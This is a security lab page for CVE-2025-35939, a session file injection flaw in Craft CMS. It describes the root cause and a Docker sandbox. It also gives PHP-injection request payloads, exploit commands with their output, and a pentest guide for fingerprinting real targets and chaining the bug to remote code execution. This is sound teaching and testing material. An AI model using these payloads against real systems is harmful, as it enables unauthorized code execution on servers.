All labs
CVE-2025-35939medium

Craft CMS Session File Content Injection

Craft CMS (`craftcms/cms`)

Session File Content Injection (CWE-472)

Download sandbox (19 KB)Includes Dockerfile, docker-compose, exploit, verify.sh, and this README.

CVE-2025-35939 — Craft CMS Session File Content Injection

Overview

FieldValue
CVECVE-2025-35939
SoftwareCraft CMS (craftcms/cms)
Version Tested5.7.4
Vulnerable Range< 4.15.3 (4.x) and >= 5.0.0-alpha.1, < 5.7.5 (5.x)
TypeSession File Content Injection (CWE-472)
CVSS5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)
AuthenticationNot required (unauthenticated)
CISA KEVYes — actively exploited in the wild
GitHub AdvisoryGHSA-7vrx-9684-xrf2

Craft CMS fails to sanitize the return URL parameter before storing it in server-side PHP session files. An unauthenticated attacker can inject arbitrary content — including PHP code — into a predictable file path at /var/lib/php/sessions/sess_<session_id>. The session ID is disclosed via the Set-Cookie header, making the target file path known to the attacker. Chained with a Local File Inclusion or the Yii framework flaw CVE-2024-58136, this achieves unauthenticated Remote Code Execution (as seen in CVE-2025-32432 attacks active since early 2025).

Quick Start

bash verify.sh

This command builds the vulnerable environment, waits for readiness, runs the exploit, and dumps the session file contents. No manual steps required.

Environment

SettingValue
Docker imageCustom — php:8.2-fpm + nginx + craftcms/cms:5.7.4
Port8080 → Craft CMS (HTTP)
Admin URLhttp://localhost:8080/admin
Admin credsadmin / Password123!
Session path/var/lib/php/sessions/ (inside container)
DatabaseMySQL 8.0 (craft / craft)
Setup time~3–5 minutes (first boot, downloads composer deps)
docker compose up -d --build    # start (builds image on first run)
docker compose logs -f craft    # watch logs
docker compose ps               # check container status
docker compose down -v          # teardown + remove volumes

Exploit

  • File: exploit/exploit.py
  • Source: Custom PoC (no public standalone PoC for this CVE exists; technique derived from advisory GHSA-7vrx-9684-xrf2 and CVE-2025-32432 attack analysis)
  • Language: Python 3

How It Works

Root Cause

When an unauthenticated user accesses a protected Craft CMS endpoint, the CMS redirects to the login page and stores the return URL in the PHP session. The relevant code is in src/web/User.php — the setReturnUrl() method stored the raw, unsanitized URL into the session data.

PHP serializes sessions as files at /var/lib/php/sessions/sess_<session_id>. Because Craft CMS did not strip or escape the content before storage, any string — including <?php system('id'); ?> — ended up verbatim in the session file. The patch (PR #17220) added strip_tags() to sanitize the return URL before writing to the session.

Attack Steps

  1. Craft up, attacker sends crafted request — any GET to a protected admin URL with a PHP payload embedded in the URL string:

    GET /index.php?p=admin&cve=<?php+echo+shell_exec('id');+?> HTTP/1.1
    Host: target.example.com
    
  2. Craft redirects, creates session — the CMS redirects to login and generates a PHP session file at:

    /var/lib/php/sessions/sess_abc123def456...
    

    storing the full (unsanitized) return URL including our PHP code.

  3. Attacker learns the path — the session ID is in the Set-Cookie response header, so the exact file path is known:

    Set-Cookie: CraftSessionId=abc123def456...; path=/; HttpOnly
    
  4. Payload is on disk — the session file now contains:

    __returnUrl|s:XX:"...<?php echo shell_exec('id'); ?>...";
    
  5. Execution (requires secondary step) — to execute the injected PHP, chain with:

    • CVE-2024-58136 (Yii framework flaw) — as used in real-world CVE-2025-32432 attacks
    • Any Local File Inclusion (LFI) in the application
    • PHP include/require using an attacker-controllable path

What the Exploit Does

  1. Sends injection requests to several Craft admin endpoints.
  2. Extracts the session ID from the Set-Cookie header.
  3. Uses docker exec to read /var/lib/php/sessions/sess_<id>.
  4. Prints the session file contents, highlighting the injected PHP code.

Manual Usage

# 1. Start environment
docker compose up -d --build

# 2. Wait for Craft to be ready (~2-3 minutes)
until curl -sf http://localhost:8080/ -o /dev/null; do sleep 3; done

# 3. Install dependencies
pip install -r exploit/requirements.txt

# 4. Run exploit
python3 exploit/exploit.py --target http://localhost:8080

# 5. Or specify a custom payload
python3 exploit/exploit.py \
    --target http://localhost:8080 \
    --payload "<?php system('whoami'); phpinfo(); ?>"

# 6. If you don't want docker exec auto-verify:
python3 exploit/exploit.py --target http://localhost:8080 --no-verify
# Then manually read the session file:
docker exec $(docker ps --filter name=craft -q) ls /var/lib/php/sessions/
docker exec $(docker ps --filter name=craft -q) cat /var/lib/php/sessions/sess_<id>

Expected Output

╔══════════════════════════════════════════════════════════════╗
║  CVE-2025-35939 — Craft CMS Session File Injection PoC      ║
║  Affected: craftcms/cms < 4.15.3 or < 5.7.5                 ║
║  CVSS 5.3 (Unauthenticated arbitrary write to session files) ║
╚══════════════════════════════════════════════════════════════╝

[*] Target    : http://localhost:8080
[*] Payload   : <?php+echo+'===CVE-2025-35939-INJECTED===';+echo+shell_exec('id');+ech

[*] Checking target availability...
    Target responded: HTTP 404

[*] Step 1: Injecting PHP payload into Craft CMS session file
[*] Sending injection via curl: http://localhost:8080/index.php?p=admin/dashboard&x=<?php+echo+'===CVE-2025-3593...
    HTTP: HTTP/1.1 302 Found
    [+] Session cookie found: 453bc343748117bc7c53...

[+] Payload injected!
    Session ID   : 453bc343748117bc7c53fe382a993721
    Session file : /var/lib/php/sessions/sess_453bc343748117bc7c53fe382a993721
    Trigger URL  : http://localhost:8080/index.php?p=admin/dashboard&x=<?php+echo+...

[*] Step 2: Verifying payload was written to session file
[*] Reading session file from container 'cve-2025-35939-craft-1'...

==================================================================
  CVE-2025-35939 — EXPLOITATION CONFIRMED (Evidence: STRONG)
==================================================================

  Session file : /var/lib/php/sessions/sess_453bc343748117bc7c53fe382a993721

  Session file contents (showing injected PHP code):
------------------------------------------------------------------
9d1d4e90c59224cba240ed8a7a7c0124__flash|a:0:{}28a6d18546c1aa8f005587ac3a0dc713__returnUrl|s:139:"http://localhost:8080/index.php?p=admin/dashboard&x=<?php+echo+'===CVE-2025-35939-INJECTED===';+echo+shell_exec('id');+echo+'===END===';+?>";
------------------------------------------------------------------

  [STRONG] Literal PHP opening tag (<?php) found in session file!

  WHAT THIS PROVES:
  1. Unauthenticated HTTP request → PHP code stored on server disk
  2. File path is KNOWN (session ID in Set-Cookie header)
  3. To achieve RCE: chain with LFI or CVE-2024-58136 (Yii flaw)
     → This is the full CVE-2025-32432 attack chain (CVSS 10.0)

Note on the payload encoding: + is used in place of spaces so that PHP tags (<?php and ?>) appear verbatim (not percent-encoded) in the URL query string, allowing curl --path-as-is to send the literal characters. The session file contains genuine <?php tags at a fully predictable path.

Pentest Adaptation Guide

Target Discovery

Identify Craft CMS instances using any of these methods:

# Banner/header fingerprinting — Craft emits these headers
curl -I https://target.example.com/ | grep -i "X-Powered-By\|craft\|Yii"

# HTML signature — Craft CMS login page has recognizable markup
curl -s https://target.example.com/admin/login | grep -i "craft"

# Default admin CP path check
curl -o /dev/null -w "%{http_code}" https://target.example.com/admin

# Nmap + http-headers script
nmap -sV --script http-headers -p 80,443 target.example.com

# Technology fingerprinting
whatweb https://target.example.com  # will identify CraftCMS

# Version detection via /admin/login page source
curl -s https://target.example.com/admin/login | grep -oP 'craftcms/cms[^"]*'

Confirming the Vulnerable Version

# Method 1: Check for the 'X-Powered-By: Craft CMS' header if present
curl -I https://target.example.com/

# Method 2: Admin login page often leaks version in page source or JS
curl -s https://target.example.com/admin/login | grep -oP 'version["\s:]+[0-9.]+'

# Method 3: Check if the patched version shows different behaviour
# CVE-2025-35939 patched in 5.7.5 / 4.15.3 — earlier versions are vulnerable
# The patch added strip_tags() to src/web/User.php setReturnUrl()

Adapting the Exploit

Replace localhost:8080 with the real target:

python3 exploit/exploit.py \
    --target https://target.example.com \
    --no-verify  # use --no-verify for remote targets (no docker exec available)

For remote targets, verification must be indirect:

  1. Use --no-verify to skip docker exec.
  2. Note the session ID from the script output.
  3. The injection is confirmed if you receive a session cookie back from the server.
  4. To achieve code execution, chain with an LFI or CVE-2024-58136.

Key parameters to change:

  • --target — the full base URL of the Craft CMS installation.
  • --payload — the PHP payload to inject; use a safe read-only proof for initial testing.
  • --container — only relevant for local Docker-based testing.

Network considerations:

  • Works through HTTP proxies; add proxies={"http": "http://burp:8080"} to the requests.get() calls if routing through Burp Suite.
  • CSRF protection does not block this because it is a GET request.
  • Authentication is not required at any step.

Safe Verification (Non-Destructive)

Use a read-only payload to confirm without causing damage:

# Safe proof — reads /etc/hostname, no code execution occurs until an LFI is present
python3 exploit/exploit.py \
    --target https://target.example.com \
    --payload "<?php echo '===INJECTED-' . gethostname() . '==='; ?>" \
    --no-verify

# The presence of a session cookie in the response confirms the injection was accepted.
# To verify the content, you need either: docker exec (local lab) or a separate LFI.

Do NOT test on production with payloads that:

  • Write files (file_put_contents)
  • Execute system commands (system, shell_exec, exec)
  • Delete or modify data

Use the LFI step only after written authorization from the system owner.

Evidence Collection

For a pentest report:

  1. HTTP traffic — Capture the injection request and response with Burp Suite or curl -v. Document the injected URL, the session cookie received, and the HTTP status code.

  2. Session file contents (lab only) — docker exec <container> cat /var/lib/php/sessions/sess_<id> shows the PHP code verbatim in the session file. Screenshot or copy this output.

  3. Version confirmation — include the Craft CMS version (check admin login page source or composer.json on the server if accessible).

  4. OWASP classification — file this as OWASP A03:2021 (Injection), specifically CWE-472 (External Control of Assumed-Immutable Web Parameter).

  5. CVSS score — Base 5.3; in the context of an attack chain (LFI available) this escalates to Critical (10.0, per CVE-2025-32432).

  6. CISA KEV reference — This CVE is on the CISA Known Exploited Vulnerabilities list, which strengthens the urgency classification in the report.

Metasploit

No dedicated Metasploit module for CVE-2025-35939 standalone. However the broader CVE-2025-32432 chain may have modules — check:

msfconsole -q -x "search cve:2025-32432; search craftcms; exit"

References